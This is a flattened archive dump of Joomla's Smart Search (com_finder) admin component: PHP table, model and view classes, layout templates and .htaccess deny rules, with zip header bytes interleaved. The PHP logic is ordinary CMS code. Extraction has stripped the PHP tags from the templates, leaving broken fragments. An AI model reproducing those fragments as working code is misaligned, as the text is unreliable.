* set the instance property value is used. [optional] * @param integer $state The publishing state. eg. [0 = unpublished, 1 = published] [optional] * @param integer $userId The user id of the user performing the operation. [optional] * * @return boolean True on success. * * @since 2.5 */ public function publish($pks = null, $state = 1, $userId = 0) { // Initialise variables. $k = $this->_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED')); return false; } } // Build the WHERE clause for the primary keys. $where = $k . '=' . implode(' OR ' . $k . '=', $pks); // Determine if there is checkin support for the table. if (!property_exists($this, 'checked_out') || !property_exists($this, 'checked_out_time')) { $checkin = ''; } else { $checkin = ' AND (checked_out = 0 OR checked_out = ' . (int) $userId . ')'; } // Update the publishing state for rows with the given primary keys. $query = $this->_db->getQuery(true); $query->update($this->_db->quoteName($this->_tbl)); $query->set($this->_db->quoteName('state') . ' = ' . (int) $state); $query->where($where); $this->_db->setQuery($query . $checkin); $this->_db->query(); // Check for a database error. if ($this->_db->getErrorNum()) { $this->setError($this->_db->getErrorMsg()); return false; } // If checkin is supported and all rows were adjusted, check them in. if ($checkin && (count($pks) == $this->_db->getAffectedRows())) { // Checkin the rows. foreach ($pks as $pk) { $this->checkin($pk); } } // If the JTable instance value is in the list of primary keys that were set, set the instance. if (in_array($this->$k, $pks)) { $this->state = $state; } $this->setError(''); return true; } /** * Method to store a row in the database from the JTable instance properties. * If a primary key value is set the row with that primary key value will be * updated with the instance property values. If no primary key value is set * a new row will be inserted into the database with the properties from the * JTable instance. * * @param boolean $updateNulls True to update fields even if they are null. [optional] * * @return boolean True on success. * * @since 2.5 */ public function store($updateNulls = false) { $date = JFactory::getDate(); $user = JFactory::getUser(); if ($this->filter_id) { // Existing item $this->modified = $date->toMySQL(); $this->modified_by = $user->get('id'); } else { // New item. A filter's created field can be set by the user, // so we don't touch it if it is set. if (!intval($this->created)) { $this->created = $date->toMySQL(); } if (empty($this->created_by)) { $this->created_by = $user->get('id'); } } if (is_array($this->data)) { $this->map_count = count($this->data); $this->data = implode(',', $this->data); } else { $this->map_count = 0; $this->data = implode(',', array()); } // Verify that the alias is unique $table = JTable::getInstance('Filter', 'FinderTable'); if ($table->load(array('alias' => $this->alias)) && ($table->filter_id != $this->filter_id || $this->filter_id == 0)) { $this->setError(JText::_('JLIB_DATABASE_ERROR_ARTICLE_UNIQUE_ALIAS')); return false; } return parent::store($updateNulls); } } PK@y>\] 8&%components/com_finder/tables/link.phpnuW+A\ H H $components/com_finder/tables/map.phpnuW+A_tbl_key; // Sanitize input. JArrayHelper::toInteger($pks); $userId = (int) $userId; $state = (int) $state; // If there are no primary keys set check to see if the instance key is set. if (empty($pks)) { if ($this->$k) { $pks = array($this->$k); } // Nothing to set publishing state on, return false. else { $this->setError(JText::_('JLIB_DATABASE_ERROR_NO_ROWS_SELECTED')); return false; } } // Build the WHERE clause for the primary keys. $where = $k . '=' . implode(' OR ' . $k . '=', $pks); // Update the publishing state for rows with the given primary keys. $query = $this->_db->getQuery(true); $query->update($this->_db->quoteName($this->_tbl)); $query->set($this->_db->quoteName('state') . ' = ' . (int) $state); $query->where($where); $this->_db->setQuery($query); $this->_db->query(); // Check for a database error. if ($this->_db->getErrorNum()) { $this->setError($this->_db->getErrorMsg()); return false; } // If the JTable instance value is in the list of primary keys that were set, set the instance. if (in_array($this->$k, $pks)) { $this->state = $state; } $this->setError(''); return true; } } PK@y>\)&components/com_finder/tables/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6'components/com_finder/tables/index.htmlnuW+APK@y>\6&components/com_finder/views/index.htmlnuW+APK@y>\V-components/com_finder/views/filter/index.htmlnuW+A PK@y>\)1components/com_finder/views/filter/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\y 0components/com_finder/views/filter/tmpl/edit.phpnuW+A
      • form->getLabel('title'); ?>
        form->getInput('title'); ?>
      • form->getLabel('alias'); ?>
        form->getInput('alias'); ?>
      • form->getLabel('state'); ?>
        form->getInput('state'); ?>
      • form->getLabel('map_count'); ?>
        form->getInput('map_count'); ?>
      item->filter_id, array('useCookie' => 1)); ?>
        form->getGroup('params') as $field): ?>
      • hidden): ?> label; ?> input; ?>
      form->getGroup('details'); ?>
      • form->getLabel('created_by'); ?> form->getInput('created_by'); ?>
      • form->getLabel('created_by_alias'); ?> form->getInput('created_by_alias'); ?>
      • form->getLabel('created'); ?> form->getInput('created'); ?>
      • item->modified_by) : ?>
      • form->getLabel('modified_by'); ?> form->getInput('modified_by'); ?>
      • form->getLabel('modified'); ?> form->getInput('modified'); ?>
      $this->filter->data)); ?>
      PK@y>\V2components/com_finder/views/filter/tmpl/index.htmlnuW+A PK@y>\ 0+ + 0components/com_finder/views/filter/view.html.phpnuW+Afilter = $this->get('Filter'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); JHtml::addIncludePath(JPATH_SITE . '/components/com_finder/helpers/html'); // Configure the toolbar. $this->addToolbar(); parent::display($tpl); } /** * Method to configure the toolbar for this view. * * @return void * * @since 2.5 */ protected function addToolbar() { JFactory::getApplication()->input->set('hidemainmenu', true); $user = JFactory::getUser(); $userId = $user->get('id'); $isNew = ($this->item->filter_id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId); $canDo = FinderHelper::getActions(); // Configure the toolbar. JToolBarHelper::title(JText::_('COM_FINDER_FILTER_EDIT_TOOLBAR_TITLE'), 'finder'); // Set the actions for new and existing records. if ($isNew) { // For new records, check the create permission. if ($canDo->get('core.create')) { JToolBarHelper::apply('filter.apply'); JToolBarHelper::save('filter.save'); JToolBarHelper::save2new('filter.save2new'); } JToolBarHelper::cancel('filter.cancel'); } else { // Since it's an existing record, check the edit permission. if ($canDo->get('core.edit')) { JToolBarHelper::apply('filter.apply'); JToolBarHelper::save('filter.save'); // We can save this record, but check the create permission to see if we can return to make a new one. if ($canDo->get('core.create')) { JToolBarHelper::save2new('filter.save2new'); } } // If an existing item, can save as a copy if ($canDo->get('core.create')) { JToolBarHelper::save2copy('filter.save2copy'); } JToolBarHelper::cancel('filter.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS_EDIT'); } } PK@y>\),components/com_finder/views/filter/.htaccessnuW+A Order allow,deny Deny from all PK@y>\66components/com_finder/views/statistics/tmpl/index.htmlnuW+APK@y>\g/7components/com_finder/views/statistics/tmpl/default.phpnuW+A

      data->term_count), number_format($this->data->link_count), number_format($this->data->taxonomy_node_count), number_format($this->data->taxonomy_branch_count)); ?>

      data->type_list as $type) :?>
      type_title;?> link_count);?>
      data->link_count); ?>
      PK@y>\)5components/com_finder/views/statistics/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)0components/com_finder/views/statistics/.htaccessnuW+A Order allow,deny Deny from all PK@y>\61components/com_finder/views/statistics/index.htmlnuW+APK@y>\ʫ4components/com_finder/views/statistics/view.html.phpnuW+Adata = $this->get('Data'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); } } PK@y>\V.components/com_finder/views/indexer/index.htmlnuW+A PK@y>\ʩ]$!!4components/com_finder/views/indexer/tmpl/default.phpnuW+A


      PK@y>\)2components/com_finder/views/indexer/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V3components/com_finder/views/indexer/tmpl/index.htmlnuW+A PK@y>\)6 881components/com_finder/views/indexer/view.html.phpnuW+A\)-components/com_finder/views/indexer/.htaccessnuW+A Order allow,deny Deny from all PK@y>\U/  1components/com_finder/views/filters/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->total = $this->get('Total'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); // Configure the toolbar. $this->addToolbar(); parent::display($tpl); } /** * Method to configure the toolbar for this view. * * @return void * * @since 2.5 */ protected function addToolbar() { $canDo = FinderHelper::getActions(); JToolBarHelper::title(JText::_('COM_FINDER_FILTERS_TOOLBAR_TITLE'), 'finder'); $toolbar = JToolBar::getInstance('toolbar'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('filter.add'); JToolBarHelper::editList('filter.edit'); JToolBarHelper::divider(); } if ($canDo->get('core.edit.state')) { JToolBarHelper::publishList('filters.publish'); JToolBarHelper::unpublishList('filters.unpublish'); JToolBarHelper::divider(); } if ($canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'filters.delete'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_finder'); } JToolBarHelper::divider(); $toolbar->appendButton('Popup', 'stats', 'COM_FINDER_STATISTICS', 'index.php?option=com_finder&view=statistics&tmpl=component', 550, 500); JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS'); } } PK@y>\V3components/com_finder/views/filters/tmpl/index.htmlnuW+A PK@y>\N4yf4components/com_finder/views/filters/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); JText::script('COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT'); ?>
      items) == 0): ?> items as $i => $item): $canCreate = $user->authorise('core.create', 'com_finder'); $canEdit = $user->authorise('core.edit', 'com_finder'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $user->get('id') || $item->checked_out == 0; $canChange = $user->authorise('core.edit.state', 'com_finder') && $canCheckin; ?>
      total == 0): echo JText::_('COM_FINDER_NO_FILTERS'); ?>
      filter_id); ?> checked_out) { echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'filters.', $canCheckin); } ?> escape($item->title); ?> escape($item->title); } ?> state, $i, 'filters.', $canChange); ?> created_by_alias ? $item->created_by_alias : $item->user_name; ?> created, JText::_('DATE_FORMAT_LC4')); ?> map_count; ?> filter_id; ?>
      pagination->getListFooter(); ?>
      PK@y>\)2components/com_finder/views/filters/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V.components/com_finder/views/filters/index.htmlnuW+A PK@y>\)-components/com_finder/views/filters/.htaccessnuW+A Order allow,deny Deny from all PK@y>\5*= /components/com_finder/views/index/view.html.phpnuW+Aitems = $this->get('Items'); $this->total = $this->get('Total'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->pluginState = $this->get('pluginState'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); // Configure the toolbar. $this->addToolbar(); parent::display($tpl); } /** * Method to configure the toolbar for this view. * * @return void * * @since 2.5 */ protected function addToolbar() { $canDo = FinderHelper::getActions(); JToolBarHelper::title(JText::_('COM_FINDER_INDEX_TOOLBAR_TITLE'), 'finder'); $toolbar = JToolBar::getInstance('toolbar'); $toolbar->appendButton('Popup', 'archive', 'COM_FINDER_INDEX', 'index.php?option=com_finder&view=indexer&tmpl=component', 500, 210); JToolBarHelper::divider(); if ($canDo->get('core.edit.state')) { JToolBarHelper::publishList('index.publish'); JToolBarHelper::unpublishList('index.unpublish'); JToolBarHelper::divider(); } if ($canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'index.delete'); JToolBarHelper::divider(); } if ($canDo->get('core.edit.state')) { JToolBarHelper::trash('index.purge', 'COM_FINDER_INDEX_TOOLBAR_PURGE', false); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_finder'); } JToolBarHelper::divider(); $toolbar->appendButton('Popup', 'stats', 'COM_FINDER_STATISTICS', 'index.php?option=com_finder&view=statistics&tmpl=component', 550, 500); JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_FINDER_MANAGE_INDEXED_CONTENT'); } } PK@y>\zU}2components/com_finder/views/index/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $lang = JFactory::getLanguage(); JText::script('COM_FINDER_INDEX_CONFIRM_PURGE_PROMPT'); JText::script('COM_FINDER_INDEX_CONFIRM_DELETE_PROMPT'); ?>
      pluginState['plg_content_finder']->enabled) : ?> items) == 0): ?> authorise('core.manage', 'com_finder'); ?> items as $i => $item): ?>
      total == 0) { echo JText::_('COM_FINDER_INDEX_NO_DATA') . ' ' . JText::_('COM_FINDER_INDEX_TIP'); } else { echo JText::_('COM_FINDER_INDEX_NO_CONTENT'); } ?>
      link_id); ?> publish_start_date) or intval($item->publish_end_date) or intval($item->start_date) or intval($item->end_date)) : ?> escape($item->title); ?> published, $i, 'index.', $canChange, 'cb'); ?> t_title); echo $lang->hasKey($key) ? JText::_($key) : $item->t_title; ?> url) > 80) { echo substr($item->url, 0, 70) . '...'; } else { echo $item->url; } ?> indexdate, JText::_('DATE_FORMAT_LC4')); ?>
      pagination->getListFooter(); ?>
      PK@y>\)0components/com_finder/views/index/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V1components/com_finder/views/index/tmpl/index.htmlnuW+A PK@y>\)+components/com_finder/views/index/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V,components/com_finder/views/index/index.htmlnuW+A PK@y>\)%components/com_finder/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V+components/com_finder/views/maps/index.htmlnuW+A PK@y>\V0components/com_finder/views/maps/tmpl/index.htmlnuW+A PK@y>\)/components/com_finder/views/maps/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\U{l}}1components/com_finder/views/maps/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $lang = JFactory::getLanguage(); JText::script('COM_FINDER_MAPS_CONFIRM_DELETE_PROMPT'); ?>
      items) == 0): ?> state->get('filter.branch') != 1) : ?> authorise('core.manage', 'com_finder'); ?> items as $i => $item): ?>
      id); ?> title); $title = $lang->hasKey($key) ? JText::_($key) : $item->title; ?> state->get('filter.branch') == 1 && $item->num_children) : ?> escape($title); ?> escape(($title == '*') ? JText::_('JALL_LANGUAGE') : $title); ?> num_children > 0) : ?> (num_children; ?>) num_nodes > 0) : ?> (num_nodes; ?>) escape(trim($title, '**')) == 'Language' && JLanguageMultilang::isEnabled()) : ?> state, $i, 'maps.', $canChange, 'cb'); ?>
      pagination->getListFooter(); ?>
      PK@y>\ݴi .components/com_finder/views/maps/view.html.phpnuW+Aitems = $this->get('Items'); $this->total = $this->get('Total'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Prepare the view. $this->addToolbar(); JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); parent::display($tpl); } /** * Method to configure the toolbar for this view. * * @return void * * @since 2.5 */ protected function addToolbar() { // For whatever reason, the helper isn't being found include_once JPATH_COMPONENT . '/helpers/finder.php'; $canDo = FinderHelper::getActions(); JToolBarHelper::title(JText::_('COM_FINDER_MAPS_TOOLBAR_TITLE'), 'finder'); $toolbar = JToolBar::getInstance('toolbar'); if ($canDo->get('core.edit.state')) { JToolBarHelper::publishList('maps.publish'); JToolBarHelper::unpublishList('maps.unpublish'); JToolBarHelper::divider(); } if ($canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'maps.delete'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_finder'); } JToolBarHelper::divider(); $toolbar->appendButton('Popup', 'stats', 'COM_FINDER_STATISTICS', 'index.php?option=com_finder&view=statistics&tmpl=component', 550, 500); JToolBarHelper::divider(); JToolBarHelper::help('JHELP_COMPONENTS_FINDER_MANAGE_CONTENT_MAPS'); } } PK@y>\)*components/com_finder/views/maps/.htaccessnuW+A Order allow,deny Deny from all PK@y>\9`O+components/com_finder/models/statistics.phpnuW+AgetDbo(); $query = $db->getQuery(true); $data = new JObject; $query->select('COUNT(term_id)'); $query->from($db->quoteName('#__finder_terms')); $db->setQuery($query); $data->term_count = $db->loadResult(); $query->clear(); $query->select('COUNT(link_id)'); $query->from($db->quoteName('#__finder_links')); $db->setQuery($query); $data->link_count = $db->loadResult(); $query->clear(); $query->select('COUNT(id)'); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('parent_id') . ' = 1'); $db->setQuery($query); $data->taxonomy_branch_count = $db->loadResult(); $query->clear(); $query->select('COUNT(id)'); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('parent_id') . ' > 1'); $db->setQuery($query); $data->taxonomy_node_count = $db->loadResult(); $query->clear(); $query->select('t.title AS type_title, COUNT(a.link_id) AS link_count'); $query->from($db->quoteName('#__finder_links') . ' AS a'); $query->join('INNER', $db->quoteName('#__finder_types') . ' AS t ON t.id = a.type_id'); $query->group('a.type_id, t.title'); $query->order($db->quoteName('type_title'), 'ASC'); $db->setQuery($query); $data->type_list = $db->loadObjectList(); return $data; } } PK@y>\Sn -components/com_finder/models/forms/filter.xmlnuW+A
      PK@y>\),components/com_finder/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6-components/com_finder/models/forms/index.htmlnuW+APK@y>\JFaa4components/com_finder/models/fields/searchfilter.phpnuW+AgetQuery(true); $query->select('f.' . $db->quoteName('title') . ' AS text, f.' . $db->quoteName('filter_id') . ' AS value'); $query->from($db->quoteName('#__finder_filters') . ' AS f'); $query->where('f.' . $db->quoteName('state') . ' = 1'); $query->order('f.title ASC'); $db->setQuery($query); $options = $db->loadObjectList(); array_unshift($options, JHtml::_('select.option', '', JText::_('COM_FINDER_SELECT_SEARCH_FILTER'), 'value', 'text')); return $options; } } PK@y>\6.components/com_finder/models/fields/index.htmlnuW+APK@y>\1 3components/com_finder/models/fields/directories.phpnuW+AgetCfg('log_path'), JFactory::getApplication()->getCfg('tmp_path') ); // Get the base directories. $dirs = JFolder::folders(JPATH_SITE, '.', false, true); // Iterate through the base directories and find the subdirectories. foreach ($dirs as $dir) { // Check if the directory should be excluded. if (in_array($dir, $exclude)) { continue; } // Get the child directories. $return = JFolder::folders($dir, '.', true, true); // Merge the directories. if (is_array($return)) { $values[] = $dir; $values = array_merge($values, $return); } } // Convert the values to options. for ($i = 0, $c = count($values); $i < $c; $i++) { $options[] = JHtml::_('select.option', str_replace(JPATH_SITE . DS, '', $values[$i]), str_replace(JPATH_SITE . DS, '', $values[$i])); } // Add a null option. array_unshift($options, JHTML::_('select.option', '', '- ' . JText::_('JNONE') . ' -')); // Handle default values of value1|value2|value3 if (is_string($value) && strpos($value, '|') && preg_match('#(?\)-components/com_finder/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\3}F F 'components/com_finder/models/filter.phpnuW+AgetState('filter.id'); // Get a FinderTableFilter instance. $filter = $this->getTable(); // Attempt to load the row. $return = $filter->load($filter_id); // Check for a database error. if ($return === false && $filter->getError()) { $this->setError($filter->getError()); return false; } // Process the filter data. if (!empty($filter->data)) { $filter->data = explode(',', $filter->data); } elseif (empty($filter->data)) { $filter->data = array(); } // Check for a database error. if ($this->_db->getErrorNum()) { $this->setError($this->_db->getErrorMsg()); return false; } return $filter; } /** * Method to get the record form. * * @param array $data Data for the form. [optional] * @param boolean $loadData True if the form is to load its own data (default case), false if not. [optional] * * @return mixed A JForm object on success, false on failure * * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_finder.filter', 'filter', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Returns a JTable object, always creating it. * * @param string $type The table type to instantiate. [optional] * @param string $prefix A prefix for the table class name. [optional] * @param array $config Configuration array for model. [optional] * * @return JTable A database object * * @since 2.5 */ public function getTable($type = 'Filter', $prefix = 'FinderTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 2.5 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_finder.edit.filter.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } } PK@y>\)&components/com_finder/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\dIj--&components/com_finder/models/index.phpnuW+Aauthorise('core.delete', $this->option); } /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission for the component. * * @since 2.5 */ protected function canEditState($record) { $user = JFactory::getUser(); return $user->authorise('core.edit.state', $this->option); } /** * Method to delete one or more records. * * @param array &$pks An array of record primary keys. * * @return boolean True if successful, false if an error occurs. * * @since 2.5 */ public function delete(&$pks) { // Initialise variables. $dispatcher = JDispatcher::getInstance(); $user = JFactory::getUser(); $pks = (array) $pks; $table = $this->getTable(); // Include the content and finder plugins for the on delete events. JPluginHelper::importPlugin('content'); JPluginHelper::importPlugin('finder'); // Iterate the items to delete each one. foreach ($pks as $i => $pk) { if ($table->load($pk)) { if ($this->canDelete($table)) { $context = $this->option . '.' . $this->name; // Trigger the onContentBeforeDelete event. $result = $dispatcher->trigger($this->event_before_delete, array($context, $table)); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } if (!$table->delete($pk)) { $this->setError($table->getError()); return false; } // Trigger the onContentAfterDelete event. $dispatcher->trigger($this->event_after_delete, array($context, $table)); } else { // Prune items that you can't change. unset($pks[$i]); $error = $this->getError(); if ($error) { $this->setError($error); } else { $this->setError(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED')); } } } else { $this->setError($table->getError()); return false; } } // Clear the component's cache $this->cleanCache(); return true; } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery A JDatabaseQuery object * * @since 2.5 */ protected function getListQuery() { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('l.*'); $query->select('t.title AS t_title'); $query->from($db->quoteName('#__finder_links') . ' AS l'); $query->join('INNER', $db->quoteName('#__finder_types') . ' AS t ON t.id = l.type_id'); // Check the type filter. if ($this->getState('filter.type')) { $query->where($db->quoteName('l.type_id') . ' = ' . (int) $this->getState('filter.type')); } // Check for state filter. if (is_numeric($this->getState('filter.state'))) { $query->where($db->quoteName('l.published') . ' = ' . (int) $this->getState('filter.state')); } // Check the search phrase. if ($this->getState('filter.search') != '') { $search = $db->escape($this->getState('filter.search')); $query->where($db->quoteName('l.title') . ' LIKE "%' . $db->escape($search) . '%"' . ' OR ' . $db->quoteName('l.url') . ' LIKE "%' . $db->escape($search) . '%"' . ' OR ' . $db->quoteName('l.indexdate') . ' LIKE "%' . $db->escape($search) . '%"'); } // Handle the list ordering. $ordering = $this->getState('list.ordering'); $direction = $this->getState('list.direction'); if (!empty($ordering)) { $query->order($db->escape($ordering) . ' ' . $db->escape($direction)); } return $query; } /** * Method to get the state of the Smart Search plug-ins. * * @return array Array of relevant plug-ins and whether they are enabled or not. * * @since 2.5 */ public function getPluginState() { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select('name, enabled'); $query->from($db->quoteName('#__extensions')); $query->where($db->quoteName('type') . ' = ' . $db->quote('plugin')); $query->where($db->quoteName('folder') . ' IN(' . $db->quote('system') . ',' . $db->quote('content') . ')'); $query->where($db->quoteName('element') . ' = ' . $db->quote('finder')); $db->setQuery($query); $db->query(); $plugins = $db->loadObjectList('name'); return $plugins; } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. [optional] * * @return string A store id. * * @since 2.5 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.search'); $id .= ':' . $this->getState('filter.state'); $id .= ':' . $this->getState('filter.type'); return parent::getStoreId($id); } /** * Returns a JTable object, always creating it. * * @param string $type The table type to instantiate. [optional] * @param string $prefix A prefix for the table class name. [optional] * @param array $config Configuration array for model. [optional] * * @return JTable A database object * * @since 2.5 */ public function getTable($type = 'Link', $prefix = 'FinderTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to purge the index, deleting all links. * * @return boolean True on success, false on failure. * * @since 2.5 */ public function purge() { $db = $this->getDbo(); // Truncate the links table. $db->truncateTable('#__finder_links'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Truncate the links terms tables. for ($i = 0; $i <= 15; $i++) { // Get the mapping table suffix. $suffix = dechex($i); $db->truncateTable('#__finder_links_terms' . $suffix); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } } // Truncate the terms table. $db->truncateTable('#__finder_terms'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Truncate the taxonomy map table. $db->truncateTable('#__finder_taxonomy_map'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Delete all the taxonomy nodes except the root. $query = $db->getQuery(true); $query->delete(); $query->from($db->quoteName('#__finder_taxonomy')); $query->where($db->quoteName('id') . ' > 1'); $db->setQuery($query); $db->query(); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Truncate the tokens tables. $db->truncateTable('#__finder_tokens'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } // Truncate the tokens aggregate table. $db->truncateTable('#__finder_tokens_aggregate'); // Check for a database error. if ($db->getErrorNum()) { // Throw database error exception. throw new Exception($db->getErrorMsg(), 500); } return true; } /** * Method to auto-populate the model state. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. [optional] * @param string $direction An optional direction. [optional] * * @return void * * @since 2.5 */ protected function populateState($ordering = null, $direction = null) { // Load the filter state. $search = $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search'); $this->setState('filter.search', $search); $state = $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); $type = $this->getUserStateFromRequest($this->context . '.filter.type', 'filter_type', '', 'string'); $this->setState('filter.type', $type); // Load the parameters. $params = JComponentHelper::getParams('com_finder'); $this->setState('params', $params); // List state information. parent::populateState('l.title', 'asc'); } /** * Method to change the published state of one or more records. * * @param array &$pks A list of the primary keys to change. * @param integer $value The value of the published state. [optional] * * @return boolean True on success. * * @since 2.5 */ public function publish(&$pks, $value = 1) { // Initialise variables. $dispatcher = JDispatcher::getInstance(); $user = JFactory::getUser(); $table = $this->getTable(); $pks = (array) $pks; // Include the content plugins for the change of state event. JPluginHelper::importPlugin('content'); // Access checks. foreach ($pks as $i => $pk) { $table->reset(); if ($table->load($pk)) { if (!$this->canEditState($table)) { // Prune items that you can't change. unset($pks[$i]); $this->setError(JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); return false; } } } // Attempt to change the state of the records. if (!$table->publish($pks, $value, $user->get('id'))) { $this->setError($table->getError()); return false; } $context = $this->option . '.' . $this->name; // Trigger the onContentChangeState event. $result = $dispatcher->trigger('onContentChangeState', array($context, $pks, $value)); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } // Clear the component's cache $this->cleanCache(); return true; } } PK@y>\6'components/com_finder/models/index.htmlnuW+APK@y>\_(components/com_finder/models/indexer.phpnuW+A\K%%%components/com_finder/models/maps.phpnuW+Aauthorise('core.delete', $this->option); } /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission for the component. * * @since 2.5 */ protected function canEditState($record) { $user = JFactory::getUser(); return $user->authorise('core.edit.state', $this->option); } /** * Method to delete one or more records. * * @param array &$pks An array of record primary keys. * * @return boolean True if successful, false if an error occurs. * * @since 2.5 */ public function delete(&$pks) { // Initialise variables. $dispatcher = JDispatcher::getInstance(); $user = JFactory::getUser(); $pks = (array) $pks; $table = $this->getTable(); // Include the content plugins for the on delete events. JPluginHelper::importPlugin('content'); // Iterate the items to delete each one. foreach ($pks as $i => $pk) { if ($table->load($pk)) { if ($this->canDelete($table)) { $context = $this->option . '.' . $this->name; // Trigger the onContentBeforeDelete event. $result = $dispatcher->trigger('onContentBeforeDelete', array($context, $table)); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } if (!$table->delete($pk)) { $this->setError($table->getError()); return false; } // Trigger the onContentAfterDelete event. $dispatcher->trigger('onContentAfterDelete', array($context, $table)); } else { // Prune items that you can't change. unset($pks[$i]); $error = $this->getError(); if ($error) { $this->setError($error); } else { $this->setError(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED')); } } } else { $this->setError($table->getError()); return false; } } // Clear the component's cache $this->cleanCache(); return true; } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery A JDatabaseQuery object * * @since 2.5 */ protected function getListQuery() { $db = $this->getDbo(); $query = $db->getQuery(true); // Select all fields from the table. $query->select('a.*'); $query->from($db->quoteName('#__finder_taxonomy') . ' AS a'); // Self-join to get children. $query->select('COUNT(b.id) AS num_children'); $query->join('LEFT', $db->quoteName('#__finder_taxonomy') . ' AS b ON b.parent_id=a.id'); // Join to get the map links $query->select('COUNT(c.node_id) AS num_nodes'); $query->join('LEFT', $db->quoteName('#__finder_taxonomy_map') . ' AS c ON 